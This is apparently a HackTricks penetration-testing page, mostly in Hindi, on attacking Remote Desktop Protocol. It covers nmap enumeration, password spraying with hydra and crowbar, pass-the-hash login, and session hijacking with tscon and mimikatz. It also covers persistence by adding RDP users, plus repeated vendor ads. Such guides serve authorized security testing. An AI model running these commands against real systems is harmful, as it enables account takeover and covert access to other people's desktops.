3389 - Pentesting RDP

Support HackTricks

कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।

मूल जानकारी

Microsoft द्वारा विकसित, रिमोट डेस्कटॉप प्रोटोकॉल (RDP) को नेटवर्क के माध्यम से कंप्यूटरों के बीच ग्राफिकल इंटरफेस कनेक्शन सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा RDP क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को RDP सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के निर्बाध नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय उपकरण पर लाता है।

डिफ़ॉल्ट पोर्ट: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatic

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

यह उपलब्ध एन्क्रिप्शन और DoS भेद्यता की जांच करता है (सेवा को DoS का कारण बने बिना) और NTLM Windows जानकारी (संस्करण) प्राप्त करता है।

सावधान रहें, आप खातों को लॉक कर सकते हैं

Password Spraying

सावधान रहें, आप खातों को लॉक कर सकते हैं

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

ज्ञात क्रेडेंशियल्स/हैश के साथ कनेक्ट करें

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

RDP सेवाओं के खिलाफ ज्ञात क्रेडेंशियल्स की जांच करें

rdp_check.py जो impacket से है, आपको यह जांचने की अनुमति देता है कि क्या कुछ क्रेडेंशियल्स RDP सेवा के लिए मान्य हैं:

rdp_check <domain>/<name>:<password>@<IP>

कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।

हमले

सत्र चोरी

SYSTEM अनुमतियों के साथ आप किसी भी उपयोगकर्ता द्वारा खोले गए RDP सत्र तक पहुँच सकते हैं बिना मालिक का पासवर्ड जाने।

खुले सत्र प्राप्त करें:

query user

चुने गए सत्र तक पहुँच

tscon <ID> /dest:<SESSIONNAME>

अब आप चयनित RDP सत्र के अंदर होंगे और आपको केवल Windows उपकरणों और सुविधाओं का उपयोग करके एक उपयोगकर्ता का अनुकरण करना होगा।

महत्वपूर्ण: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।

आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ बातचीत करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क पर सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)

Mimikatz

आप इसे करने के लिए mimikatz का भी उपयोग कर सकते हैं:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

इस तकनीक को stickykeys या utilman के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।

आप पहले से ही इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

यदि किसी अन्य डोमेन से या बेहतर विशेषाधिकार के साथ कोई RDP के माध्यम से उस PC में लॉगिन करता है जहाँ आप एक Admin हैं, तो आप उसके RDP सत्र प्रक्रिया में अपना बीकन inject कर सकते हैं और उसके रूप में कार्य कर सकते हैं:

RDP Sessions Abuse

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn एक पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क है जो पॉवरशेल में बनाया गया है, जिसे मुख्य रूप से Microsoft Windows कंप्यूटर पर Shadow हमले को स्वचालित करने के लिए डिज़ाइन किया गया है। यह भेद्यता (जिसे Microsoft द्वारा एक विशेषता के रूप में सूचीबद्ध किया गया है) एक दूरस्थ हमलावर को बिना उसकी सहमति के अपने शिकार के डेस्कटॉप को देखने की अनुमति देती है, और यहां तक कि इसे मांग पर नियंत्रित भी कर सकती है, ऑपरेटिंग सिस्टम के अपने मूल उपकरणों का उपयोग करके।

  • कमांड लाइन से स्वचालित तरीके से माउस और कीबोर्ड को नियंत्रित करें

  • कमांड लाइन से स्वचालित तरीके से क्लिपबोर्ड को नियंत्रित करें

  • क्लाइंट से एक SOCKS प्रॉक्सी उत्पन्न करें जो RDP के माध्यम से लक्षित नेटवर्क संचार को चैनल करता है

  • लक्षित पर बिना फ़ाइलें अपलोड किए मनचाहे SHELL और PowerShell कमांड निष्पादित करें

  • लक्षित पर फ़ाइल ट्रांसफर बंद होने पर भी लक्षित से फ़ाइलें अपलोड और डाउनलोड करें

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाती हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।

HackTricks का समर्थन करें

Last updated